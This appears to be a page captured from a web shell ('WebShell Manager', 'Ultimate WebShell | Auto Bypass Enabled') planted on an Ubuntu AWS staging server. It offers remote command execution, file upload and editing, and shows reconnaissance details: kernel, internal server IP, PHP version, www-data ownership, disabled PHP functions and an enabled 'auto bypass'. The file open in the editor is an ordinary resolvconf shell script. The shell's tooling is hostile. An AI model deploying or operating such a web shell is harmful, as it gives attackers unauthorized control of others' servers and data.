WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core
17284
lib
resolvconf
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2025-10-09 12:24:41
-
list-records
File
2.45 KB
0755
2017-11-29 18:26:46
net-interface-handler
File
4.26 KB
0755
2017-11-29 18:26:46
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: list-records
#!/bin/bash # Need bash because we use nullglob, extglob # # list-records [--after RECORD] # # Print, one per line, names of non-empty files in the current directory # that match the shell glob patterns in /etc/resolvconf/interface-order. # If the "--after RECORD" option is given and RECORD is not null then only # start listing after RECORD (i.e., do not print RECORD itself, and if # RECORD is not found then print nothing). # set -e RECORD_TO_WAIT_FOR="" # This means: don't wait before printing [ "$1" = "--after" ] && RECORD_TO_WAIT_FOR="$2" FIRST_ARG_WITHOUT_OPTION_PREFIX="${1#--after=}" [ "$FIRST_ARG_WITHOUT_OPTION_PREFIX" != "$1" ] && RECORD_TO_WAIT_FOR="$FIRST_ARG_WITHOUT_OPTION_PREFIX" # # Store arguments (minus duplicates) in RSLT, separated by newlines. # # Doesn't work properly if an argument itself contains whitespace. # uniquify() { local E RSLT="" while [ "$1" ] ; do for E in $RSLT ; do [ "$1" = "$E" ] && { shift ; continue 2 ; } done RSLT="${RSLT:+$RSLT }$1" shift done } ### Compile ordered list of resolv.conf-type files ### # The following must be the content of the factory-provided interface-order file PATTERNS="lo.inet6 lo.inet lo.@(dnsmasq|pdnsd) lo.!(pdns|pdns-recursor) lo tun* tap* hso* em+([0-9])?(_+([0-9]))* p+([0-9])p+([0-9])?(_+([0-9]))* @(br|eth)*([^.]).inet6 @(br|eth)*([^.]).ip6.@(dhclient|dhcpcd|pump|udhcpc) @(br|eth)*([^.]).inet @(br|eth)*([^.]).@(dhclient|dhcpcd|pump|udhcpc) @(br|eth)* @(ath|wifi|wlan)*([^.]).inet6 @(ath|wifi|wlan)*([^.]).ip6.@(dhclient|dhcpcd|pump|udhcpc) @(ath|wifi|wlan)*([^.]).inet @(ath|wifi|wlan)*([^.]).@(dhclient|dhcpcd|pump|udhcpc) @(ath|wifi|wlan)* ppp* *" if [ -r /etc/resolvconf/interface-order ] ; then PATTERNS="$(sed -e ' s/^[[:space:]]\+// s/[[:space:]].*// s/#.*// /\//d /^~/d /^\./d /^$/d ' /etc/resolvconf/interface-order)" fi shopt -s nullglob extglob # The nullglob option isn't essential since the test -s below will eliminate # any unexpanded patterns. The extglob option, however, is essential; it # makes the glob language of interface-order patterns as powerful as regexps. # Pathname expansion occurs on the following line resulting, in general, # in multiple instances of filenames; duplicates must be removed. uniquify $PATTERNS # Result is in RSLT for FLNM in $RSLT ; do if [ "$RECORD_TO_WAIT_FOR" ] ; then [ "$FLNM" = "$RECORD_TO_WAIT_FOR" ] && RECORD_TO_WAIT_FOR="" continue fi # Only list records of non-zero size [ -s "$FLNM" ] && echo "$FLNM" done exit 0
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED